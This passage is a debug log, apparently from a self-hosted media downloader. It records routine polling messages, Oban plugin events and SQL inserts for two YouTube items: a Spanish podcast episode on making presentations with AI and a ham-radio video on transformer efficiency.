1000ms 22:25:49.742 [debug] Current batch of media processed. Will check again in 1000ms 22:25:50.677 [debug] Current batch of media processed. Will check again in 1000ms 22:25:50.743 [debug] Current batch of media processed. Will check again in 1000ms 22:25:51.190 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:51.678 [debug] Current batch of media processed. Will check again in 1000ms 22:25:51.744 [debug] Current batch of media processed. Will check again in 1000ms 22:25:52.679 [debug] Current batch of media processed. Will check again in 1000ms 22:25:52.745 [debug] Current batch of media processed. Will check again in 1000ms 22:25:53.680 [debug] Current batch of media processed. Will check again in 1000ms 22:25:53.746 [debug] Current batch of media processed. Will check again in 1000ms 22:25:54.681 [debug] Current batch of media processed. Will check again in 1000ms 22:25:54.747 [debug] Current batch of media processed. Will check again in 1000ms 22:25:55.682 [debug] Current batch of media processed. Will check again in 1000ms 22:25:55.748 [debug] Current batch of media processed. Will check again in 1000ms 22:25:56.683 [debug] Current batch of media processed. Will check again in 1000ms 22:25:56.749 [debug] Current batch of media processed. Will check again in 1000ms 22:25:57.684 [debug] Current batch of media processed. Will check again in 1000ms 22:25:57.750 [debug] Current batch of media processed. Will check again in 1000ms 22:25:58.685 [debug] Current batch of media processed. Will check again in 1000ms 22:25:58.751 [debug] Current batch of media processed. Will check again in 1000ms 22:25:59.686 [debug] Current batch of media processed. Will check again in 1000ms 22:25:59.752 [debug] Current batch of media processed. Will check again in 1000ms 22:26:00.101 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:00.687 [debug] Current batch of media processed. Will check again in 1000ms 22:26:00.753 [debug] Current batch of media processed. Will check again in 1000ms 22:26:01.688 [debug] Current batch of media processed. Will check again in 1000ms 22:26:01.754 [debug] Current batch of media processed. Will check again in 1000ms 22:26:02.689 [debug] Current batch of media processed. Will check again in 1000ms 22:26:02.755 [debug] Current batch of media processed. Will check again in 1000ms 22:26:03.690 [debug] Current batch of media processed. Will check again in 1000ms 22:26:03.756 [debug] Current batch of media processed. Will check again in 1000ms 22:26:04.691 [debug] Current batch of media processed. Will check again in 1000ms 22:26:04.757 [debug] Current batch of media processed. Will check again in 1000ms 22:26:05.692 [debug] Current batch of media processed. Will check again in 1000ms 22:26:05.758 [debug] Current batch of media processed. Will check again in 1000ms 22:26:06.693 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep. 1️⃣6️⃣ : Presentaciones 🎯\n\n👉 Quieres hacer una presentacion de cualquier tema de manera profesional en menos de 15 minutos. Contenido y formato ambas en menos de 15 minutos!!!!! David García Martínez te lo cuenta... no te lo pierdas.\n\nPuedes ser una de estas personas: \n🔸Tipo 1: Te sobra el tiempo y puede emplear todo el tiempo del mundo en hacer una presentación. Y, como no, eres el que mas sabes del tema de la presentacion y nadie te puede superar.\n🔸Tipo 2: Eres un gran profesional, que vas muy justo del tiempo y no quieres perder el tiempo en trivialidades y asumes que no eres el mas listo del mundo.\n\nSi eres el tipo 1, no veas el video, no te podemos ayudar.☠️\nSi eres el tipo 2, y sabes que necesitas ayuda y que tu tiempo prefieres pasarlo perfilando un gran trabajo que te hace una IA, para entregar algo sublime... sigue con el video 😉\n\n💣Bonus Track: Esta es de las charlas mas practicas que damos... y os proponemos un reto.. si 20 agregáis en comentarios que queréis que hagamos un directo una tarde para explicarlo en detalle... así lo haremos!. En el video anterior no lo conseguimos.... a ver si en este lo logramos...\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Napkin hashtag#GammaApp hashtag#Gamma\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "duration" => 612, "filename" => "/downloads/music/IA mí QUÉ/EP.16 - PRESENTACIONES CON IA.m4a", "id" => "RANyo-B5b94", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RANyo-B5b94", "playlist_index" => 35, "timestamp" => 1750943550, "title" => "EP.16 - PRESENTACIONES CON IA", "upload_date" => "20250626"} 22:26:06.694 [debug] QUERY OK source="sources" db=0.6ms idle=1933.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:26:06.695 [debug] QUERY OK source="sources" db=0.5ms idle=1276.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:26:06.696 [debug] QUERY OK source="media_items" db=0.7ms idle=934.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 13:12:30Z], 2] 22:26:06.700 [debug] QUERY OK source="media_items" db=3.7ms idle=936.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep. 1️⃣6️⃣ : Presentaciones 🎯\n\n👉 Quieres hacer una presentacion de cualquier tema de manera profesional en menos de 15 minutos. Contenido y formato ambas en menos de 15 minutos!!!!! David García Martínez te lo cuenta... no te lo pierdas.\n\nPuedes ser una de estas personas: \n🔸Tipo 1: Te sobra el tiempo y puede emplear todo el tiempo del mundo en hacer una presentación. Y, como no, eres el que mas sabes del tema de la presentacion y nadie te puede superar.\n🔸Tipo 2: Eres un gran profesional, que vas muy justo del tiempo y no quieres perder el tiempo en trivialidades y asumes que no eres el mas listo del mundo.\n\nSi eres el tipo 1, no veas el video, no te podemos ayudar.☠️\nSi eres el tipo 2, y sabes que necesitas ayuda y que tu tiempo prefieres pasarlo perfilando un gran trabajo que te hace una IA, para entregar algo sublime... sigue con el video 😉\n\n💣Bonus Track: Esta es de las charlas mas practicas que damos... y os proponemos un reto.. si 20 agregáis en comentarios que queréis que hagamos un directo una tarde para explicarlo en detalle... así lo haremos!. En el video anterior no lo conseguimos.... a ver si en este lo logramos...\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Napkin hashtag#GammaApp hashtag#Gamma\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.16 - PRESENTACIONES CON IA", "b55ca410-aa6d-4204-ba59-bfaea1442db8", 612, false, "RANyo-B5b94", "https://www.youtube.com/watch?v=RANyo-B5b94", 35, "/downloads/music/IA mí QUÉ/EP.16 - PRESENTACIONES CON IA.m4a", false, false, false, 2, [], 97, ~U[2025-06-26 13:12:30Z], ~U[2026-02-07 21:26:06Z], ~U[2026-02-07 21:26:06Z], "#IAMIQUE 👉🏼 Ep. 1️⃣6️⃣ : Presentaciones 🎯\n\n👉 Quieres hacer una presentacion de cualquier tema de manera profesional en menos de 15 minutos. Contenido y formato ambas en menos de 15 minutos!!!!! David García Martínez te lo cuenta... no te lo pierdas.\n\nPuedes ser una de estas personas: \n🔸Tipo 1: Te sobra el tiempo y puede emplear todo el tiempo del mundo en hacer una presentación. Y, como no, eres el que mas sabes del tema de la presentacion y nadie te puede superar.\n🔸Tipo 2: Eres un gran profesional, que vas muy justo del tiempo y no quieres perder el tiempo en trivialidades y asumes que no eres el mas listo del mundo.\n\nSi eres el tipo 1, no veas el video, no te podemos ayudar.☠️\nSi eres el tipo 2, y sabes que necesitas ayuda y que tu tiempo prefieres pasarlo perfilando un gran trabajo que te hace una IA, para entregar algo sublime... sigue con el video 😉\n\n💣Bonus Track: Esta es de las charlas mas practicas que damos... y os proponemos un reto.. si 20 agregáis en comentarios que queréis que hagamos un directo una tarde para explicarlo en detalle... así lo haremos!. En el video anterior no lo conseguimos.... a ver si en este lo logramos...\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Napkin hashtag#GammaApp hashtag#Gamma\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.16 - PRESENTACIONES CON IA", 612, false, "RANyo-B5b94", "https://www.youtube.com/watch?v=RANyo-B5b94", "/downloads/music/IA mí QUÉ/EP.16 - PRESENTACIONES CON IA.m4a", false, 2, ~U[2025-06-26 13:12:30Z]] 22:26:06.701 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=280.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:26:06.702 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:26:06.703 [debug] QUERY OK source="media_items" db=0.6ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1338] 22:26:06.703 [debug] Current batch of media processed. Will check again in 1000ms 22:26:06.759 [debug] Current batch of media processed. Will check again in 1000ms 22:26:07.703 [debug] Current batch of media processed. Will check again in 1000ms 22:26:07.760 [debug] Current batch of media processed. Will check again in 1000ms 22:26:08.704 [debug] Current batch of media processed. Will check again in 1000ms 22:26:08.761 [debug] Current batch of media processed. Will check again in 1000ms 22:26:09.705 [debug] Current batch of media processed. Will check again in 1000ms 22:26:09.762 [debug] Current batch of media processed. Will check again in 1000ms 22:26:10.706 [debug] Current batch of media processed. Will check again in 1000ms 22:26:10.763 [debug] Current batch of media processed. Will check again in 1000ms 22:26:11.707 [debug] Current batch of media processed. Will check again in 1000ms 22:26:11.764 [debug] Current batch of media processed. Will check again in 1000ms 22:26:12.708 [debug] Current batch of media processed. Will check again in 1000ms 22:26:12.765 [debug] Current batch of media processed. Will check again in 1000ms 22:26:13.709 [debug] Current batch of media processed. Will check again in 1000ms 22:26:13.766 [debug] Current batch of media processed. Will check again in 1000ms 22:26:14.710 [debug] Current batch of media processed. Will check again in 1000ms 22:26:14.767 [debug] Current batch of media processed. Will check again in 1000ms 22:26:15.711 [debug] Current batch of media processed. Will check again in 1000ms 22:26:15.768 [debug] Current batch of media processed. Will check again in 1000ms 22:26:16.712 [debug] Current batch of media processed. Will check again in 1000ms 22:26:16.769 [debug] Current batch of media processed. Will check again in 1000ms 22:26:17.713 [debug] Current batch of media processed. Will check again in 1000ms 22:26:17.770 [debug] Current batch of media processed. Will check again in 1000ms 22:26:18.714 [debug] Current batch of media processed. Will check again in 1000ms 22:26:18.771 [debug] Current batch of media processed. Will check again in 1000ms 22:26:19.715 [debug] Current batch of media processed. Will check again in 1000ms 22:26:19.772 [debug] Current batch of media processed. Will check again in 1000ms 22:26:20.716 [debug] Current batch of media processed. Will check again in 1000ms 22:26:20.773 [debug] Current batch of media processed. Will check again in 1000ms 22:26:21.193 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:21.717 [debug] Current batch of media processed. Will check again in 1000ms 22:26:21.774 [debug] Current batch of media processed. Will check again in 1000ms 22:26:22.718 [debug] Current batch of media processed. Will check again in 1000ms 22:26:22.775 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos a ver en este video como medir la eficiencia de un transformador 1:40 (0 1:56 o 1:64) que hayamos montado nosotros, para ver si va a funcionar bien o si nos vamos a dejar en el toroide la mitad de la potencia en forma de calor...\n\nContenido del video\n00:00 - Presentación\n01:26 - Intro Canal\n01:45 - Disclaimer\n02:52 - Owen Duffy\n03:23 - El problema\n06:57 - Repasando conceptos\n13:22 - Herramienta para medir\n22:08 - Midiendo curva ROE (SWR)\n25:05 - Midiendo pérdidas en transformador\n26:26 - Calculando atenuación resistencia carga\n28:54 - Calculando la pérdida y la eficiencia del transformador\n31:40 - Porqué no uso 2 toroides en back-to-back\n\n#radioaficionados #endfeed #eficiencia #pérdidas #db #hamradio #diyelectronics #ft240-43 #ft-240-43 #1:49 #1:56 #1:64\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2253, "filename" => "/downloads/music/ea3grn/144 - COMO MEDIR LA EFICIENCIA EN TRANSFORMADOR ENDFEED.m4a", "id" => "6DgxhsNoyRI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6DgxhsNoyRI", "playlist_index" => 37, "timestamp" => 1721919807, "title" => "144 - COMO MEDIR LA EFICIENCIA EN TRANSFORMADOR ENDFEED", "upload_date" => "20240725"} 22:26:22.777 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1015.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:26:22.779 [debug] QUERY OK source="sources" db=0.6ms idle=1018.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:26:22.780 [debug] QUERY OK source="media_items" db=0.5ms idle=1019.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-25 15:03:27Z], 3] 22:26:22.782 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=329.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a ver en este video como medir la eficiencia de un transformador 1:40 (0 1:56 o 1:64) que hayamos montado nosotros, para ver si va a funcionar bien o si nos vamos a dejar en el toroide la mitad de la potencia en forma de calor...\n\nContenido del video\n00:00 - Presentación\n01:26 - Intro Canal\n01:45 - Disclaimer\n02:52 - Owen Duffy\n03:23 - El problema\n06:57 - Repasando conceptos\n13:22 - Herramienta para medir\n22:08 - Midiendo curva ROE (SWR)\n25:05 - Midiendo pérdidas en transformador\n26:26 - Calculando atenuación resistencia carga\n28:54 - Calculando la pérdida y la eficiencia del transformador\n31:40 - Porqué no uso 2 toroides en back-to-back\n\n#radioaficionados #endfeed #eficiencia #pérdidas #db #hamradio #diyelectronics #ft240-43 #ft-240-43 #1:49 #1:56 #1:64\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "144 - COMO MEDIR LA EFICIENCIA EN TRANSFORMADOR ENDFEED", "45df1410-a74d-4d77-adab-a9042df7fda0", 2253, false, "6DgxhsNoyRI", "https://www.youtube.com/watch?v=6DgxhsNoyRI", 37, "/downloads/music/ea3grn/144 - COMO MEDIR LA EFICIENCIA EN TRANSFORMADOR ENDFEED.m4a", false, false, false, 3, [], 98, ~U[2024-07-25 15:03:27Z], ~U[2026-02-07 21:26:22Z], ~U[2026-02-07 21:26:22Z], "Vamos a ver en este video como medir la eficiencia de un transformador 1:40 (0 1:56 o 1:64) que hayamos montado nosotros, para ver si va a funcionar bien o si nos vamos a dejar en el toroide la mitad de la potencia en forma de calor...\n\nContenido del video\n00:00 - Presentación\n01:26 - Intro Canal\n01:45 - Disclaimer\n02:52 - Owen Duffy\n03:23 - El problema\n06:57 - Repasando conceptos\n13:22 - Herramienta para medir\n22:08 - Midiendo curva ROE (SWR)\n25:05 - Midiendo pérdidas en transformador\n26:26 - Calculando atenuación resistencia carga\n28:54 - Calculando la pérdida y la eficiencia del transformador\n31:40 - Porqué no uso 2 toroides en back-to-back\n\n#radioaficionados #endfeed #eficiencia #pérdidas #db #hamradio #diyelectronics #ft240-43 #ft-240-43 #1:49 #1:56 #1:64\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "144 - COMO MEDIR LA EFICIENCIA EN TRANSFORMADOR ENDFEED", 2253, false, "6DgxhsNoyRI", "https://www.youtube.com/watch?v=6DgxhsNoyRI", "/downloads/music/ea3grn/144 - COMO MEDIR LA EFICIENCIA EN TRANSFORMADOR ENDFEED.m4a", false, 3, ~U[2024-07-25 15:03:27Z]] 22:26:22.783 [debug] QUERY OK source="sources" db=0.5ms idle=22.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:26:22.784 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:26:22.785 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1366] 22:26:22.785 [debug] Current batch of media processed. Will check again in 1000ms 22:26:23.719 [debug] Current batch of media processed. Will check again in 1000ms 22:26:23.786 [debug] Current batch of media processed. Will check again in 1000ms 22:26:24.720 [debug] Current batch of media processed. Will check again in 1000ms 22:26:24.787 [debug] Current batch of media processed. Will check again in 1000ms 22:26:25.721 [debug] Current batch of media processed. Will check again in 1000ms 22:26:25.788 [debug] Current batch of media processed. Will check again in 1000ms 22:26:26.722 [debug] Current batch of media processed. Will check again in 1000ms 22:26:26.789 [debug] Current batch of media processed. Will check again in 1000ms 22:26:27.723 [debug] Current batch of media processed. Will check again in 1000ms 22:26:27.790 [debug] Current batch of media processed. Will check again in 1000ms 22:26:28.724 [debug] Current batch of media processed. Will check again in 1000ms 22:26:28.791 [debug] Current batch of media processed. Will check again in 1000ms 22:26:29.725 [debug] Current batch of media processed. Will check again in 1000ms 22:26:29.792 [debug] Current batch of media processed. Will check again in 1000ms 22:26:30.726 [debug] Current batch of media processed. Will check again in 1000ms 22:26:30.793 [debug] Current batch of media processed. Will check again in 1000ms 22:26:31.727 [debug] Current batch of media processed. Will check again in 1000ms 22:26:31.794 [debug] Current batch of media processed. Will check again in 1000ms 22:26:32.728 [debug] Current batch of media processed. Will check again in 1000ms 22:26:32.795 [debug] Current batch of media processed. Will check again in 1000ms 22:26:33.729 [debug] Current batch of media processed. Will check again in 1000ms 22:26:33.796 [debug] Current batch of media processed. Will check again in 1000ms 22:26:34.730 [debug] Current batch of media processed. Will check again in 1000ms 22:26:34.797 [debug] Current batch of media processed. Will check again in 1000ms 22:26:35.740 [debug] Current batch of media processed. Will check again in 1000ms 22:26:35.798 [debug] Current batch of media processed. Will check again in 1000ms 22:26:36.741 [debug] Current batch of media processed. Will check again in 1000ms 22:26:36.799 [debug] Current batch of media processed. Will check again in 1000ms 22:26:37.742 [debug] Current batch of media processed. Will check again in 1000ms 22:26:37.800 [debug] Current batch of media processed. Will check again in 1000ms 22:26:38.743 [debug] Current batch of media processed. Will check again in 1000ms 22:26:38.801 [debug] Current batch of media processed. Will check again in 1000ms 22:26:39.744 [debug] Current batch of media processed. Will check again in 1000ms 22:26:39.802 [debug] Current batch of media processed. Will check again in 1000ms 22:26:40.745 [debug] Current batch of media processed. Will check again in 1000ms 22:26:40.803 [debug] Current batch of media processed. Will check again in 1000ms 22:26:41.746 [debug] Current batch of media processed. Will check again in 1000ms 22:26:41.804 [debug] Current batch of media processed. Will check again in 1000ms 22:26:42.747 [debug] Current batch of media processed. Will check again in 1000ms 22:26:42.805 [debug] Current batch of media processed. Will check again in 1000ms 22:26:43.748 [debug] Current batch of media processed. Will check again in 1000ms 22:26:43.806 [debug] Current batch of media processed. Will check again in 1000ms 22:26:44.749 [debug] Current batch of media processed. Will check again in 1000ms 22:26:44.807 [debug] Current batch of media processed. Will check again in 1000ms 22:26:45.750 [debug] Current batch of media processed. Will check again in 1000ms 22:26:45.808 [debug] Current batch of media processed. Will check again in 1000ms 22:26:46.751 [debug] Current batch of media processed. Will check again in 1000ms 22:26:46.809 [debug] Current batch of media processed. Will check again in 1000ms 22:26:47.752 [debug] Current batch of media processed. Will check again in 1000ms 22:26:47.810 [debug] Current batch of media processed. Will check again in 1000ms 22:26:48.753 [debug] Current batch of media processed. Will check again in 1000ms 22:26:48.811 [debug] Current batch of media processed. Will check again in 1000ms 22:26:49.754 [debug] Current batch of media processed. Will check again in 1000ms 22:26:49.812 [debug] Current batch of media processed. Will check again in 1000ms 22:26:50.756 [debug] Current batch of media processed. Will check again in 1000ms 22:26:50.813 [debug] Current batch of media processed. Will check again in 1000ms 22:26:51.196 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:51.757 [debug] Current batch of media processed. Will check again in 1000ms 22:26:51.814 [debug] Current batch of media processed. Will check again in 1000ms 22:26:52.758 [debug] Current batch of media processed. Will check again in 1000ms 22:26:52.815 [debug] Current batch of media processed. Will check again in 1000ms 22:26:53.759 [debug] Current batch of media processed. Will check again in 1000ms 22:26:53.816 [debug] Current batch of media processed. Will check again in 1000ms 22:26:54.760 [debug] Current batch of media processed. Will check again in 1000ms 22:26:54.817 [debug] Current batch of media processed. Will check again in 1000ms 22:26:55.761 [debug] Current batch of media processed. Will check again in 1000ms 22:26:55.818 [debug] Current batch of media processed. Will check again in 1000ms 22:26:56.762 [debug] Current batch of media processed. Will check again in 1000ms 22:26:56.819 [debug] Current batch of media processed. Will check again in 1000ms 22:26:57.763 [debug] Current batch of media processed. Will check again in 1000ms 22:26:57.820 [debug] Current batch of media processed. Will check again in 1000ms 22:26:58.764 [debug] Current batch of media processed. Will check again in 1000ms 22:26:58.821 [debug] Current batch of media processed. Will check again in 1000ms 22:26:59.765 [debug] Current batch of media processed. Will check again in 1000ms 22:26:59.822 [debug] Current batch of media processed. Will check again in 1000ms 22:27:00.103 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:00.766 [debug] Current batch of media processed. Will check again in 1000ms 22:27:00.823 [debug] Current batch of media processed. Will check again in 1000ms 22:27:01.767 [debug] Current batch of media processed. Will check again in 1000ms 22:27:01.824 [debug] Current batch of media processed. Will check again in 1000ms 22:27:02.768 [debug] Current batch of media processed. Will check again in 1000ms 22:27:02.825 [debug] Current batch of media 